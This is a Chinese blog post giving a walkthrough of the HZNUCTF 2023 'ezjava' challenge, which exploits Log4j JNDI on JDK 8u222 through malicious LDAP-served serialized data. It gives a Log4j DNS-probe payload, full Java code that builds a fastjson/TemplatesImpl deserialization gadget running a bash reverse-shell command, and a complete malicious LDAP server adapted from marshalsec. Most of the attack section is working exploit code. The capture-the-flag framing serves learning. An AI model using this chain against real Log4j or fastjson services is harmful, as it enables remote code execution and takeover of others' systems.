ldap序列化利用绕过高版本jdk的JNDI题目

[HZNUCTF 2023 final]ezjava

这道题,困扰许久,不是题目逻辑,而是ldap服务起不了。

题目介绍:

Try to fxxk it ( Log4j

打log4j?

进网页,开局几个字,提示fastjson:1.2.48:

尝试一下常用的log4j2payload打一打DNS测一下:

{{urlenc(${jndi:dns://${sys:java.version}.xxxxx})}}

但dns容易没回显,不知道为啥。

得到回显:

可以看到版本为jdk8u222,这里可以看到是不能jndi一把梭的版本。

绕过高版本jdk打jndi有两个方法,一个是找类似BeanFactory利用本地的工厂类完成class链子,还有一个是用恶意序列化数据打ldap。

然而它也提示了fastjson,这里我们采取后者的打法,把fastjson制造的恶意字节码传过去反弹shell。

而1.2.48有其他的poc,我采用的是更高版本的1.2.83的原生反序列化,更高级()

上poc:

package com.fastjsonpoc;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class FastNativeAll {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] genPayload(String cmd) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception{


        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{genPayload("bash -c {echo,<base64反弹shell命令>}|{base64,-d}|{bash,-i}")});
        setValue(templates, "_name", "qiu");
        setValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        setValue(bd,"val",jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(templates,bd);


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();
        byte[] serialize = byteArrayOutputStream.toByteArray();
        System.out.println(Base64.getEncoder().encodeToString(serialize));

//        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
//        objectInputStream.readObject();

    }
}

这个的依赖随便配一下就行了,带上fastjson版本就行:

运行生成base64编码后的恶意序列化数据,保存到1.txt。

然后是恶意ldap服务:

package com.jndibypass;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import org.apache.commons.io.FileUtils;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.File;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URL;
//高版本LDAP绕过

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] tmp_args ) throws Exception{
        if (tmp_args.length < 2) {
            System.out.println("Usage: java xxx.jar <IP> <file>");
            System.exit(1);
        }

        String ip = tmp_args[0];
        String[] args = new String[]{"http://" + ip +"/#Evail"};
        String payload = "";
        File file = new File(tmp_args[1]);
        try {
            payload = FileUtils.readFileToString(file);
            System.out.println(payload);
        } catch (IOException e) {
            e.printStackTrace();
        }

        int port = 6666;

        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
        config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", //$NON-NLS-1$
                InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));

        config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]), payload));
        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
        System.out.println("Listening on 0.0.0.0:" + port);
        ds.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        private String payload;

        public OperationInterceptor ( URL cb , String payload) {
            this.codebase = cb;
            this.payload = payload;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e, payload);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e , String payload) throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }

            e.addAttribute("javaSerializedData", Base64.decode(payload));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

这里要把这个打成jar包,然后写了两个传入命令行参数的交互,前面一个是起服务的vps,后面一个就是上面那个1.txt。

打成jar包的去搜一下IDEA操作就行,跟着来,因为这个方法是marshalsec改的,所以把那个的pom.xml抄过来maven reload project就行了。

mbechler/marshalsec (github.com)

然后就会报错,找不到主类。

大部分原因是java版本的问题,记得一定要是java8,而且最好跟这个8u222接近,我用的8u401。

其他的原因最好自己搜搜,因为一千个人对这个java有一千个问题,我采用了其他人成功的方法也会失败,所以有缘人自会搜到,在这里我就不乱写了。

猜你想找:Plugin 'maven-assembly-plugin:' not found - 递茶大户 - 博客园 (cnblogs.com)

原理我会接着在下面的blog写详细,所以这里注重打法。

然后一把梭:

卡住的时候它是又臭又长,做出来的时候是神清气爽。

这就是java的魅力。

 

参考:

[HZNUCTF 2023 final]ezjava | 秋嘞个秋 (sl3epf.github.io)

高JDK的JNDI绕过之复现某比赛0解题 - 先知社区 (aliyun.com)

posted @ 2024-03-29 19:55  Eddie_Murphy  阅读(405)  评论(0编辑  收藏  举报